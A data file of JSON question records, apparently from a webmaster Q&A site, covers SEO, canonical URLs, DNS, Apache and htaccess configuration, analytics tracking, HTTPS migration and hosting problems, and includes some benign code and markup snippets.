{"id":"51219","title":"My Domain Name Appears Twice in Most of My URLs","text":"I've recently been adding some backlinks to other articles within my site. I don't know if it's this that is now causing me a problem. I now notice that Google has indexed my sites pages again but this time all the URL's to content pages have the domain name twice in the URL of the page. For example I am seeing these type of URLs; `http:\/\/www.questbg.com\/www.questbg.com\/...-blog.html` The article will then display on the home page underneath the frontpage module etc. If I type in the correct URL; `http:www.questbg.com\/lifestyle\/957-blog.html` then the page displays correctly but Google (and Bing) have now changed all my URLs to the double domain type. My sitemap displays all the correct URLs with none of the wrong ones."}
{"id":"19670","title":"E-Commerce Website for Retail AND wholesale","text":"I work for a clothing designer company (Kit + Lili) that has been in business for 5 years. We currently sell our product wholesale using a company called Groupe BDM and retail through Shopify. It is an incredibly inefficient system, and I'd like to find a platform for a website that allows both retail sales\/pricing and wholesale login\/pricing. Things to consider: -I do not having programming experience - in fact the ability to upload seasonal clothing, pricing, and sku's with minimal to no coding is essential. Shopify provides the templates for this. They just don't yet have an app in place to allow wholesale login\/pricing. -For the wholesale part of the site, we need the ability to place orders and check out, but not require payment through a shopping cart app. At the same time, we need the shopping cart for retail. With the clothing industry, orders are usually made 6 months prior to shipping and receiving payment. - Does such a platform exist or do I need to find a web designer who can create a site to our specifications? Also, let me know if this question might be better posted in a different forum. Thanks."}
{"id":"5972","title":"How do i properly use CustomVars in google analytics?","text":"How do i properly use custom vars in google analytics? I used the code below and here is what i notice 1. i only seen 'one' being in the get request 2. After 24 hours only 'one' showed up 3. After commenting out one and changing the 2 vars to use slotIndex-1 i notice NO vars going through GA What am i doing wrong? -edit again- Ok everything works. The problem is what i guessed in my answer. Then in firefox i accidentally used the profile which had cookies disabled so GA .gif wasnt being requested. In short the problem below was the string is too long or the value wasnt a string. var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-12345678-1']); if (cond) { _gaq.push(['_setCustomVar',1, 'one', d1,1]); _gaq.push(['_setCustomVar',2, 'name two', \"sz\",1]); _gaq.push(['_setCustomVar',3, 'name3', boolVal,1]); } _gaq.push(['_trackPageview']); (function () { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();"}
{"id":"27099","title":"How to use Home PC as Internet Web Server?","text":"I have a java web application which is installed on Home PC.  I have installed no-ip client on Home PC. Domain is paesia.no-ip.org I have setup port forwarding to Home PC  When I open http:\/\/paesia.no-ip.org:8080 , nothing is displayed. How can I use my home PC as internet web server?"}
{"id":"51741","title":"How to properly use Google Webmaster Tools (for \"non-www\" instead of \"www\")","text":"I'm trying to use Google Webmaster Tools correctly: I don't use the `www` in my website's URL, but just noticed that I must have entered the `www` when I originally added my site to Webmaster Tools a few months ago, because they have most of my site indexed with the `www` included. I guess what I'm trying to ask is if I should create another website profile without the `www` included in the URL. Is Google viewing both versions as two different websites? Am I hurting myself by not using the `www`? How do they handle adding the verification file when both versions are really the same site? The verification file will be in the same spot on the server for either version. If I was to use the same verification file when creating a new profile for the non `www` version, what would happen? Also what is weird is that I have a sitemap created for my site, but Webmaster Tools says that there isn't one available. I created it with Yoast's WordPress SEO plugin."}
{"id":"17208","title":"if... or conditional comments?","text":"So I'm working on this website for my dad (http:\/\/tendonaid.com\/) and it works nice in modern browsers, but apparently he's getting comments on how the top navigation doesn't work on Internet Explorer (7 and lower, I think). It's shifts to the right instead of centering in the middle. My question is, how do I fix this? Or, is there some sort of if\/or conditional comment thing I can do that says IF IE... use this class for the div \/ OR (any other browser) use this other class?"}
{"id":"60521","title":"Is limiting the page views from users but allowing Googlebot unlimited access considered cloaking?","text":"Domaintools when accessing Whois info like this: http:\/\/whois.domaintools.com\/google.com gives error once free account reaches 20 or so lookups. It then does not return a HTTP 200. But Google it seems does not get this error and it can crawl all of their URLs. In this case, Google sees a version but visitors may see different version. I'm not sure how Domaintools allow special access for Google. Isn't that called cloaking? I need to understand this so that I can use this feature for my sites too."}
{"id":"60523","title":"How to make Subdomains identified as separate sites by Search Engines","text":"I have a domain name and a live website. I want to create some subdomains so that they appear as separate websites in Search engines. For Example take Blogspot. **x.blogspot.com and y.blogspot.com are separate websites.**"}
{"id":"56774","title":"Did the Google Webmaster +1 statistics move somewhere else or are they just gone?","text":"Google Webmaster used to have very nice statistics for a while. Then it was taken off. Did it move elsewhere? Or did it merely vanish?"}
{"id":"52437","title":"Is it OK to use translations obtained via crawling a translation service with advertising?","text":"Google and Bing not only have their API-based translation, but also their websites which allow for one-off translation. While these are intended for use by humans, this also allows for a webcrawler to automatically crawl the site and obtain translations of short phrases. If a human were to manually browse to a given provider's translation site and input a phrase to be translated, then stick it up on their blog, it seems like this would be a reasonable use. However, what are the implications of crawling a translation service to obtain the results **by proxy** for the user? Sort of like TranslationParty but being ad-supported rather than ad-free? The terms and conditions for Google, for example, seem pretty straightforward about fair use of their translation API, but use of the site interface seems unclear."}
{"id":"17204","title":"What to do if you are listed incorrectly as an administrative or technical contact for a domain?","text":"I recently got a letter in the mail from one of those sketchy \"website listing services\" that offer to submit your website to search engines for a fee. Before throwing it away I noticed that the domain name was not any of the ones I own. I looked up the name on networksolutions.com, and sure enough, my contact information (name, address, and phone number) is listed as the administrative and technical contact for the domain, along with an email address that is not mine. Is there anything I can do to correct this? Is this associated with any known scams?"}
{"id":"25034","title":"How can donations be accepted in international currency and be paid out in USD?","text":"I have a client that is a non profit organization in the United States. They currently have a donation button (provided by a payment processor company) on their website that only accepts USD. They have more and more supporters in other countries but are not able to accept donations online in other currencies. How can I enable them to accept donations in other currencies that people will pay for with a local credit card? Will I need to make a relationship with multiple different payment processors for each currency that they want to accept? Will I need to have individual buttons on their site for each country? E.g. \"If you're Canadian, click the donation button with a maple leaf on it!\" Is there a way to accept the most-used currencies in the world in one fell swoop? The client is most interested in accepting donations in CAD, GBP and EUR. They also have interest in AUD, MXN and INR. I know that they also reach out to Turkey and Russia, so assume they would be interested in TRY and RUB."}
{"id":"25036","title":"How to redirect my brand new domain to Dlinkddns.com","text":"Today I bought a domain from GoDaddy for my personal usage. I'm trying to forward requests from the domain to a DlinkDDNS account with no success so far. `https:\/\/account.dlinkddns.com:port` works great. I can access the server behind my router. The same request using the domain isn't working `https:\/\/www.domain.com:port`. On GoDaddy the domain is set to forwarding with masking. I'm wondering if the redirection is immediate or if it can take a few hours\/days to be effective. Any help would be appreciated. Thanks."}
{"id":"27165","title":"How to restart Apache without reseting users sessions?","text":"User is logged-in a PHP website > I restart Apache > User needs to log-in again. How to prevent this? (I don't want user to need to log-in again)"}
{"id":"56902","title":"How to overcome duplicate content SEO impact when enforcing https (SSL) site wide on an existing site","text":"We're about to move a large existing site to https (SSL). I was a little concerned after reading this thread. Has anyone else experienced a negative impact when transitioning from http to https? Would adding a 301 redirect and updating the sitemap cover all the bases?"}
{"id":"7887","title":"Impact of migrating home page from HTTP to HTTPS on search results","text":"I've had to change one of my site's home page to HTTPS from HTTP. I had plenty of links coming into the HTTP page and was performing well in Google against many of my targeted search phrases. I did a 301 redirect from the HTTP page to transfer the link juice to the HTTPS page (and to prevent duplicate content issues) but my search rankings have tanked which indicates no link juice has been transferred. My PageRank has vanished - which I'd expect - but I'm really surprised that the SERP rankings fell off the face of the earth. Anyone have any ideas how I can recover from this? I've waited a couple of months since the changes took effect just in case Google was taking time to check it out."}
{"id":"27323","title":"Rel=next & rel=prev in infinite scroll","text":"Based on this article I have a SERP that does infinite scrolling to load results greater than 10. How do I go about implement `rel=next` & `rel=prev` for that?"}
{"id":"60153","title":"How to show Google Review in Google Search Result?","text":"Any one know how to do this? What I mean is Review box at the right hand side: "}
{"id":"27325","title":"How do I get a TB of data to a new web server?","text":"I have a TB of compressed media files that I need to get to a remote web server with a bit of urgency. (from my office) Our upload rate is only 500KB\/s, which would suggest ~23 days to upload. The new hosting company does not accept drives-by-mail. Is there a good place to go in major metro areas to borrow a fatter pipe?"}
{"id":"27324","title":"htaccess setting resets upon uploading new updates","text":"Hi I am trying to set up password protected web pages with htaccess on dreamhost.com. While the panel in dreamhost allows one to set up password protection rather quickly. Once I uploaded updates to the directory, the protection is gone. How should I deal with that?"}
{"id":"24922","title":"multiple urls serving same content - how to handle better?","text":"Urls go like domain\/approved\/education\/kids\/female but I also have filter page in place that lets you do this domain\/approved\/education-entertainment-business\/kids\/female and so on which means list all female kids articles no matter what Level1 category they fall in. But that also means that domain\/approved\/ and domain\/approved\/education-entertainment-business list exactly the same content (assuming level2 only has 3 categories - kids, teenager and adult). How to handle duplicacy in this case for the sake of canonical url and so on. Also, my sitemaps should not worry about filtering URLs (the ones with dashes), right?"}
{"id":"24927","title":".htaccess mod_rewrite 500 internal server error","text":"Whenever I place my .htaccess file in my web directory I receive a 500 internal server error and within the error.log file specifying: [Sat Jan 21 13:46:07 2012] [error] [client xx.xx.xxx.xx] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. My .htaccess file: RewriteEngine On RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !(\\.png|\\.jpg|\\.gif|\\.jpeg|\\.bmp|\\.css|\\.js)$ RewriteRule ^(.*) index.php I have tried enabling Options +FollowSymLinks but this has been fruitless. Everything works locally. Any pointers as to what I could be doing wrong?"}
{"id":"45499","title":"Web server with or without Panel","text":"I start a Web server for my company for hosting about 15 website and I didn't install a Control Panel, I do everything by command and i'm pretty comfortable with it but do you think i'm losing time by doing all the task by command ???"}
{"id":"45490","title":"Does a plain vanilla site benefit from a \"canonical\" directive?","text":"So I thought I knew what \"canonical\" was for. As I understood it (and to be fair, most of the examples on the web) it avoids search engines seeing `foo.htm` and `foo.htm?parameter=1` as duplicate content, by specifying that only one of them is the canonical version. Therefore it seemed to me to be an issue exclusive to more complex sites (sites with server side processing). But take a \"vanilla\" brochure site of say just five pages (Home, AboutUs, ContactUs, OurProducts, Testimonials). That's just five htm files, no server side processing, nothing at all that's going to risk looking like duplicate content. But a colleague has said we need a rel='canonical' on at least the home page to avoid http:\/\/www.example.com http:\/\/example.com http:\/\/www.example.com\/home.htm looking like duplicate content. Is he right?"}
{"id":"34332","title":"Domain name only works with www. but not without the www","text":"I have searched for this problem numerous times but I can't quite apply the solution to my problem. The usual solution I find is that I need to add an A-record to my dns, currently I only have a C-name record for host 'www' to my DNS. The problem is, I'm having trouble understanding what goes in the 'host' section of the record when trying to create an A-record. Here is a screenshot to my domain registrar where I am trying to create the record. http:\/\/i.imgur.com\/M18zm.png I have tried creating an A-record with the 'host' field set to *, but that is not a valid entry, nor is leaving it blank. Anyone have any suggestions?"}
{"id":"45145","title":"Google not indexing\/updating rel=\"canonical\" pages","text":"I had same content with different links and I wanted to prioritize the indexing of different webpages. For example `\/A\/1232` and `\/A\/1232\/tum_bin_jiya_jay` represent same content but I wanted to give more priority to `\/A\/1232\/tum_bin_jiya_jay` link over `\/A\/1232`. So I put this canonical links in all pages from where I wanted to tell Google please give more preference to the link given in this page I used this in non- priority links and don't use any canonical in priority links. In the head section of URL `\/A\/1232` I put below line so that Google can give more priority to below page but even after 4 days none of such pages are indexed by Google <link rel=\"canonical\" href=\"http:\/\/example.com\/A\/1232\/tum_bin_jiya_jay\" \/> Can anyone suggest what should I do, I have submitted both links to Google webmaster and earlier links are already indexed so Google is not indexing `\/A\/1232\/tum_bin_jiya_jay` link but Google Webmaster will give more priority to those links and will index but I don't know why its not indexing. If i remove earlier links from Google webmaster sitemap than what is the chances of including this type of links.which is advisable."}
{"id":"25259","title":"Clearing cache with CloudFlare?","text":"Is it possible to clear or avoid CloudFlare cache while doing development? I'm developing a site that has caching on several levels - WordPress supercache, the caching done by the browser, and caching through the DNS provider, CloudFlare (free account version). I cannot seem to get my CSS to refresh, despite deleting the browser cache, deleting the WordPress supercache cache, & disabling caching (firefox web development toolbar), so I'm guessing the cached copy that remains is due to the DNS, but have no idea how to clear it. Any suggestions?"}
{"id":"25250","title":"DNS query re website Status: inactive","text":"There is a website that I am assisting with which, when you do a DNS look up on Who.is, returns a Website Status of \"inactive\". I also noticed the server type is incorrectly reported. This is not a website I generally use for DNS queries so am unsure if it is reliable. Using other DNS checking services reports what Iwould expect and the site is functioning correctly. Research I have done with regard to **Website Status: inactive** suggests an issue with the DNS configuration? I am looking for help understanding if this is something to be concerned with and if possible how to update this value or how it gets set in the first place."}
{"id":"25257","title":"Is there a free PHP\/AJAX file management script with directory synchronization?","text":"I want a real easy file management script with a nice clean interface which I can run on my own hosting and password protect. I also want to be able to sync a folder in it to my computer."}
{"id":"42242","title":"How can I safely analyze users' password quality?","text":"Given a registration service website with rather lax password requirements for the users (6-12 characters with no special requirements), how can I safely analyze what _quality_ of passwords users pick without storing them in plain text? For background: This question came up when discussing whether or not users of the service pick sufficiently \"good\" passwords, and if they do not, if there is enough reason to enforce this by setting tighter password requirements. Assuming some sort of rating system for the password, what interests the team is the ratio of poor passwords (only letters, no special signs, no upper-\/lower case variation, repeating signs, partial match with own name or email, etc) compared to good passwords. Supposedly, implementing a rating algorithm that stores the password quality rating at the time users set their passwords would be a good way, but is there any more considerations to take with this? What kind of assertions about password quality can I make and rate without actually storing the passwords? And do I just log password ratings without any other data, or how could I cross reference password quality with user demographics (age, gender, activity on the service) in a way that respects user privacy and data security?"}
{"id":"38739","title":"FTP file access problem","text":"I recently got a malware on my website. I have made the backup of the website on my computer and trying to wipe off my FTP. I am trying to delete the root folder but getting this error message on all of the malicious files, Response: 550 Could not delete index.php: Permission denied I am the sole administrator of the ftp so permission should not have been an issue. My host provider seems not to suffer from this problem as his websites are running well without any malware. I have also tried to change the root to 777 to see if the file permission change could help me delete the files but still I am getting the same error. Please help out. Thanks"}
{"id":"42249","title":"STRONG and EM tags inside H1 and H2 and SEO on database-driven website","text":"I am trying to tweak the SEO of my Website, I have read a 400 SEO Bible PDF document that I came across. An aspect of my website that was not included in my SEO optimisation. The STRONG and EM HTML tags. They do what B and I (bold\/italic) tags do but they are very much needed by Google's bot, apparently, in order for it to understand what the page is about, and to index it in its particular way. Now, I have around 28K products, each has among other fields a Title(varchar) and Desc(text) fields. Title and description. I am now updating the titles and descriptions with `<strong><\/strong>` and `<em><\/em>` tags around the words I think are important and mostly, good keywords for me. But since my website was already done with SEO in mind, the title and descriptions were inside `<H1>` and `<H2>` tags. I thought and thought and managed to leave the text with `<strong>` and `<em>` clean in 2 places (the breadcrumbs \/home\/here\/submenu\/submenu2\/ and the description), and the text stripped from STRONG and EM tags in the `<h1>` which is the title of every page. There are more pages to think of optimising in this way and my question is : Is it wise to leave the titles something like this? <H1><strong>Parker pen<\/strong> <em>model 38Ak1<\/em><\/h1> or just remove (with PHP) the `<strong>` and `<em>` tags and just have: <H1>Parker pen, model 38Ak1<\/h1> It is essential for me to understand if it's SEO wise to do this, so I'll do the same in other kinds of displaying pages and other arrangements on my website."}
{"id":"35908","title":"How can I create a content widget generator?","text":"Sites like Buzzfeed offer widgets (Javascript, PHP, WordPress, etc.) for syndicating their content on other sites. Does anyone have any ideas on how I could go about creating\/implementing some kind of interactive widget generator that gives users options for customizing their widget? I assume this would require RSS. Check out the Buzzfeed generator to see what I mean http:\/\/www.buzzfeed.com\/network\/widget"}
{"id":"55593","title":"Google eCommerce tracking from PHP","text":"Is some way to send eCommerce tracking to Google without JavaScript? I want to do that just with PHP."}
{"id":"50916","title":"Confusion for specifying rel=\"canonical\" for pages","text":"I read this link & even this also, but I am still confused. That's why I plan to ask here, Please confirm me with your answer. My doubt is I have two pages: `GridViewPage.php` & `ListViewPage.php` having same content. So according to this in which page I have insert this code `<link rel=\"canonical\" href=\"which url I should put here\"\/>`. And for opening `GridViewPage.php` page URL looks like: `http:\/\/example.com\/article\/show\/abdominal-exercises\/abdominal- crunch\/79\/87\/list\/`. & for opening `GridViewPage.php` page my URL looks like: `http:\/\/example.com\/article\/show\/abdominal-exercises\/abdominal- crunch\/79\/87\/grid\/`. Note: 79\/87 are the dynamic database table id's."}
{"id":"59157","title":"Redirect public traffic to a different subfolder, while local traffic remains unchanged","text":"I would like to have local (intranet) HTTP traffic go to the `\/var\/www\/html` folder while any public traffic goes to the subfolder, `\/var\/www\/html\/public` I've tried this configuration, with some variation, in httpd.conf <VirtualHost PRIVATE-IP> DocumentRoot \/var\/www\/html ServerName ecn ErrorLog \/var\/www\/logs\/error\/private CustomLog \/var\/www\/logs\/access\/private common <\/VirtualHost> <VirtualHost PUBLIC-IP> DocumentRoot \/var\/www\/html\/public ServerName PUBLIC-DOMAIN-NAME ErrorLog \/var\/www\/logs\/error\/public CustomLog \/var\/www\/logs\/access\/public common <\/VirtualHost> PUBLIC-IP, PRIVATE-IP, and PUBLIC-DOMAIN name are all replaced with the correct values in the actual document. The problem is, local traffic can browse fine but remote traffic is directed to the root folder and getting 403d (because I have that folder blocked off through my .htaccess file). If I append `\/public` to the URL it works fine."}
{"id":"6050","title":"Strange script font appearing in Google search results and Firebug","text":"The weirdest thing has just occurred. I did a google search and once the page had rendered I could see double f's had been replaced with a strange script font. Even weirder, once I chose to have a look using Firebug, the strange script font appeared there also. Why is this? I've attached a picture of what I saw. P.S. The Search was for \"wget facebook\" and I'm using Firefox 3.6 on Mac OS X 10.5"}
{"id":"10001","title":"Why my site is not ranking for particular keyword","text":"My site is only 3 days to be 6 months old. This website is unique, that is there is no competitor to this type site in India, providing comparison of payment gateways in India, besides the payment gateways companies itself. I've optimized it for key word : \"payment gateway\" I've changed the url's twice, latest being 3 months back, in which case Google Webmaster gave plently of 404's. I corrected the useful 404's and left meaningless ones as it is. What is the reason it's not ranking well for payment gateways? Even site with single page about \"Payment gateways\" seem to be ranking better than this. Is it does to: 1) Lot of outbound links to in-context companies and information 2) 404's as reported in Google Webmaster My another site is successfully getting 1500 unique visitors daily and is up in Google ranking. I don't know why it is not!"}
{"id":"10003","title":"Critique of SEO of this HTML","text":"I'm designing a new site which I want to be as SEO friendly as possible, fast and responsive, semantic and very accessible. A lot of these things, embarrassingly are quite new to me. Have I miss applied anything? I want the template to be perfect. Live demo: http:\/\/69.24.73.172\/demos\/newDemo\/ HTML: <!DOCTYPE html> <html lang=\"en\"> <head> <meta charset=\"UTF-8\" \/> <title>Welcome to Scirra.com<\/title> <meta name=\"description\" content=\"Construct 2, the HTML5 games creator.\" \/> <meta name=\"keywords\" content=\"game maker, game builder, html5, create games, games creator\" \/> <link rel=\"stylesheet\" href=\"css\/default.css\" type=\"text\/css\" \/> <link rel=\"stylesheet\" href=\"plugins\/coin-slider\/coin-slider-styles.css\" type=\"text\/css\" \/> <\/head> <body> <div class=\"topBar\"><\/div> <div class=\"mainBox\"> <header> <div class=\"headWrapper\"> <div class=\"s searchWrap\"> <input type=\"text\" name=\"SearchBox\" id=\"SearchBox\" tabindex=\"1\" \/> <div class=\"s searchIco\"><\/div> <\/div> <!-- Logo placeholder --> <\/div> <div class=\"menuWrapper\"><nav> <ul class=\"mainMenu\"> <li><a href=\"#\">Home<\/a><\/li> <li><a href=\"#\">Forum<\/a><\/li> <li><a href=\"#\" class=\"mainSelected\">Construct<\/a><\/li> <li><a href=\"#\">Arcade<\/a><\/li> <li><a href=\"#\">Manual<\/a><\/li> <\/ul> <ul class=\"underMenu\"> <li><a href=\"#\">Homepage<\/a><\/li> <li><a href=\"#\" class=\"underSelected\">Construct<\/a><\/li> <li><a href=\"#\">Products<\/a><\/li> <li><a href=\"#\">Community Forum<\/a><\/li> <li><a href=\"#\">Contact Us<\/a><\/li> <\/ul> <\/nav><\/div> <\/header> <div class=\"contentWrapper\"> <div class=\"wideCol\"> <div id=\"coin-slider\" class=\"slideShowWrapper\"> <a href=\"#\" target=\"_blank\"> <img src=\"images\/screenshot1.jpg\" alt=\"Screenshot\" \/> <span> Scirra software allows you to bring your imagination to life <\/span> <\/a> <a href=\"#\"> <img src=\"images\/screenshot2.jpg\" alt=\"Screenshot\" \/> <span> Export your creations to HTML5 pages <\/span> <\/a> <a href=\"#\"> <img src=\"images\/screenshot3.jpg\" alt=\"Screenshot\" \/> <span> Another description of some image <\/span> <\/a> <a href=\"#\"> <img src=\"images\/screenshot4.jpg\" alt=\"Screenshot\" \/> <span> Something motivational to tell people <\/span> <\/a> <\/div> <div class=\"newsWrapper\"> <h2>Latest from Twitter<\/h2> <div id=\"twitterFeed\"> <p>The news on the block is this. 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{"id":"21176","title":"Will using tabs with JavaScript (jQuery) hurt my SEO because of crawlability?","text":"I have a page with tabs like this: http:\/\/www.problemio.com\/problems\/problem.php?problem_id=180 See how there are 3 tabs? Only the content from one of them shows up when the user lands on the page, and the content from the other two shows up only when the user clicks on the tabs. And the change happens using jQuery and JavaScript. But all the text is loaded when the page loads. What I am wondering is whether this will hurt my SEO and make it harder for Google to index the complete pages?"}
{"id":"2632","title":"What's the pro\/cons of Adobe TypeKit API? Any best practices?","text":"With all the Open Source fonts I have available, and I can download them via the CSS font directive, what's the benefit of the TypeKit API? Are there drawbacks of this? How does it work technically? Are there certain ways of constructing my website I should avoid?"}
{"id":"34350","title":"Webmaster Tools show the \"Total Indexed\" number to be zero","text":"I recently switched my domain from yannbane.blogspot.com to www.yannbane.com, and added my new domain to my Webmaster Tools account. After a few days, I went there and checked the data, and I was a bit worried when I saw this:  How can I interpret this? Is Google really not indexing my site at all? I'm afraid that's the case, because when I google for it, only my old blogspot domain shows up!"}
{"id":"9597","title":"Apache httpd Problem","text":"I am getting intermittent issues with my site. Pages often hang with huge loading times and sometimes fail to load. The httpd error logs contain the following: [Wed Feb 23 06:54:17 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 5871 for worker proxy:reverse [Wed Feb 23 06:54:17 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 5871 for (*) [Wed Feb 23 06:54:24 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 5872 for worker proxy:reverse [Wed Feb 23 06:54:24 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized [Wed Feb 23 06:54:24 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 5872 for (*) [Wed Feb 23 06:59:15 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 5954 for worker proxy:reverse [Wed Feb 23 06:59:15 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized The server is currently running with 800mb free memory, so it is not caused by lack of RAM. Any suggestions would be greatly appreciated. Many thanks, Chris. **EDIT** The current number of httpd procceses is 11. This does increase as the error persists and can rise up to 25+. I am running Apache\/2.2.3 (CentOS)."}
{"id":"9224","title":"Joomla menu item will not work","text":"I'm trying to setup a new joomla site (first one for me, it's very confusing). I have added a menu item, but the link that it is trying to go to is the \"alias\", and that isn't resolving correctly (or at all really) to the \"link\" that I have for the menu item. Does anyone know what I might be doing wrong?"}
{"id":"9222","title":"How do I renew an expired domain with Google Apps?","text":"I let my domain expire on Google Apps. It now says that I have to contact customer service in order to renew. Does anyone know how to renew a domain (still under the grace period) for Google Apps."}
{"id":"33114","title":"How to properly use Rich Snippets for Structured Data using itemscope, itemtype, and itemprop?","text":"I have a website which lists business information in coherence with member information. So I am needing to use the Nested Items method. **Each \"Business\" listing has this setup:** 1. Business Name 2. Business Address 3. Business Location (city, state) 4. Business Hours of Operation 5. Business Contact Person (member name) 6. Business Phone # 7. Business Cell Phone # 8. Business Website 9. Business Description 10. Other people (member names) who also work for this company (business name). **Each \"Member\" listing has this setup:** 1. Member Name 2. Business Name 3. Member Location (city, state) 4. Member Phone # 5. Member Cellphone # 6. Member E-mail Address 7. Member Website 8. Member Description 9. Other companies (business names) this person (member name) does business with. I have attempted to apply the itemscope, itemtype and itemprop attributes to my mark-up myself. <div class=\"listingBox\"> <div class=\"gradient2 gradient\"> <div class=\"column_1\" itemscope itemtype=\"http:\/\/data-vocabulary.org\/Person\"> <table> <tr> <td colspan=\"2\"><h2><a name=\"member_name\" href=\"#\" itemprop=\"name\">Member Name<\/a><\/h2><\/td> <\/tr> <tr> <td><h5>Business:<\/h5><\/td> <td><a title=\"Business Name\" href=\"#\" itemprop=\"affiliation\">Business Name<\/a><\/td> <\/tr> <tr> <td><h5>Location:<\/h5><\/td> <td><a title=\"City, ST\" rel=\"nofollow\" target=\"_blank\" href=\"#\"><span itemprop=\"locality\">Minneapolis<\/span>, <span itemprop=\"region\">MN<\/span><\/a><\/td> <\/tr> <\/table> <\/div> <!-- end .column_1 --> <div class=\"column_2\" itemscope itemtype=\"http:\/\/data-vocabulary.org\/Organization\"> <meta itemprop=\"name\" content=\"Business Name\" \/> <table > <tr> <td><h5>Phone:<\/h5><\/td> <td><span itemprop=\"tel\">123-456-7890<\/span><\/td> <\/tr> <tr> <td><h5>Cell:<\/h5><\/td> <td><span itemprop=\"tel\">012-345-6789<\/span><\/td> <\/tr> <tr> <td><h5>E-mail:<\/h5><\/td> <td><a rel=\"nofollow\" href=\"#\">business@email.com<\/a><\/td> <\/tr> <tr> <td><h5>Website:<\/h5><\/td> <td><a target=\"_blank\" title=\"Business Name\" href=\"#\" itemprop=\"url\">www.business-website.com<\/a><\/td> <\/tr> <\/table> <\/div> <!-- end .column_2 --> <div class=\"column_3\"> <table> <tr> <td colspan=\"2\"><h5>Description:<\/h5> <div class=\"more-less\"> <div class=\"more-block\"> <p>Description of the business would be placed in this area.<\/p> <\/div> <\/div><\/td> <\/tr> <tr> <td colspan=\"2\"><h5>Members:<\/h5> <p><a title=\"Member Name1\" href=\"#\" rel=\"acquaintance\">Member Name1<\/a>, <a title=\"Member Name2\" href=\"#\" rel=\"acquaintance\">Member Name2<\/a><\/p><\/td> <\/tr> <\/table> <\/div> <!-- end .column_3 --> <div class=\"clear\"><\/div> <\/div> <!-- end .listingBox-gradient2 gradient --><\/div> <!-- end .listingBox --> I feel like it is incorrect, and I would like an explanation of what I'm doing wrong, and how to do it correctly. I have business information and member information mixed in with both types of listings. **Some of the warnings google is giving:** * Note that there is no guarantee that a Rich Snippet will be shown for this page on actual search results. For more details, see the FAQ. * Warning: If this markup is about a person, at least 2 of the following fields are needed: organization, location, or role. See the people help page for more information."}
{"id":"30816","title":"Usage of meta tag \"generator\"","text":"Is the meta tag \"generator\" still relevant in today's web? Has it every had any use? <meta name=\"Generator\" content=\"Drupal 7 (http:\/\/drupal.org)\" \/>"}
{"id":"50879","title":"Can't view the website on the LAN stored on XAMPP server","text":"I'm trying to access website located on XAMPP server on my other computer located on the same LAN network. I am able to see welcome screen of XAMPP server, i.e., `192.168.0.22\/xampp\/` but when I am pointing to my website, i.e., `192.168.0.22\/xampp\/website\/` it says: > OBJECT NOT FOUND! The requested URL was not found on this server. ERROR 404. However I am able to view the website on localhost. Any ideas what's wrong?"}
{"id":"12359","title":"Web Host \/ Service to Fetch Batch of URLs","text":"I have a list of about one million URLs that I would like fetched and would rather not run this process on my own web server. I am wondering if there are any commercial solutions to this - i.e. any services that will take my list of URLs and return the HTML for each (running it behind proxies, etc., if necessary)."}
{"id":"62966","title":"For SEO, should the path portion of the URL be localized?","text":"I have a site that have localized content. I would like to know if it's really important to also translate the URL paths to access the content. For example: Today, I'm handling the URLS like these: www.example.com\/de\/airports www.example.com\/pt\/airports My question if is it really good and worthwhile to change my site to handle URLs like these: www.example.com\/de\/airports www.example.com\/pt\/aeroportos This last way it's more work to do. I was looking for Google papers talking about this subject but I did not find, anyone knows if this is important or it's ignored by search engines?"}
{"id":"12352","title":"Google Webmasters Tools: Denied by robots.txt","text":"I have a website: http:\/\/46.105.30.3\/ And I'm trying to get testing it using the Fetch as Googlebot option in the Google Webmasters Tools. When I try it it returns `Denied by robots.txt`. My robots.txt contains: User-agent: * Disallow: \/js\/ Disallow: \/style\/ Any ideas why the Googlebot is denied access?"}
{"id":"45354","title":"About the semantically related words Google's algorithm uses in mixed language websites","text":"Because I'm Latin, sometimes I use a word in English while talking in Spanish. In a website, for example, I could be interested in ranking for a word as “promoter” inside a page in Spanish, because that is how my public understands that concept. Does the latent semantic indexing (LSI) (or whatever Google uses for semantic relation) fail to relate “promoter” with the content (because there are not related words in English) and then could that prevent my site from ranking?"}
{"id":"53451","title":"How would Spanish text at bottom of English content page change how our pages rank?","text":"On our real estate site we are planning to put Spanish text (2-3 lines) at bottom of every page. Except for the bottom part, all the content is in English. I am new to Page Rank & Google search optimization. So i have few queries related to that: * How this Spanish content will affect rankings? * Will it help to search through Spanish words? I mean, if user searches using Spanish words will our pages come in search results?"}
{"id":"44335","title":"SEO semi-mirrored sites that don't anger google","text":"I'm working with a client who manages real-estate agents. All of these agents have their own individual sites, and they all want the same layout and functionality. So, I have a \"master\" site designed which is dynamically changed to fit the agent\/area\/whatever through a MySQL database. We have relatively static content in the DB about the agent and the area, then the rest is very dynamic content from a listing service, which is updated daily. My question is how to set this up so that we can keep on using all the different domains and identical programming (i.e. all the files are identical, except pictures) and have decent SEO as well. They had some trouble in the past with Google blacklisting their sites because they were considered \"mirrored sites\". Which...they pretty much are, but the difference between mirrored sites is that we're searching very different areas of the listings DB. Ideally, all the listings are relatively unique to each site, but sometimes there aren't any listings for the area, or the listings for two sites overlap...that's when they get busted for the mirrorring. Does anyone have any suggestions on how to both have decent SEO for the individual sites, and keep it easy to manage? There are currently over 100 sites (20 agents, about 5 sites each--one agent site, and a few \"area\" sites), so not mirroring things is just a ton of work."}
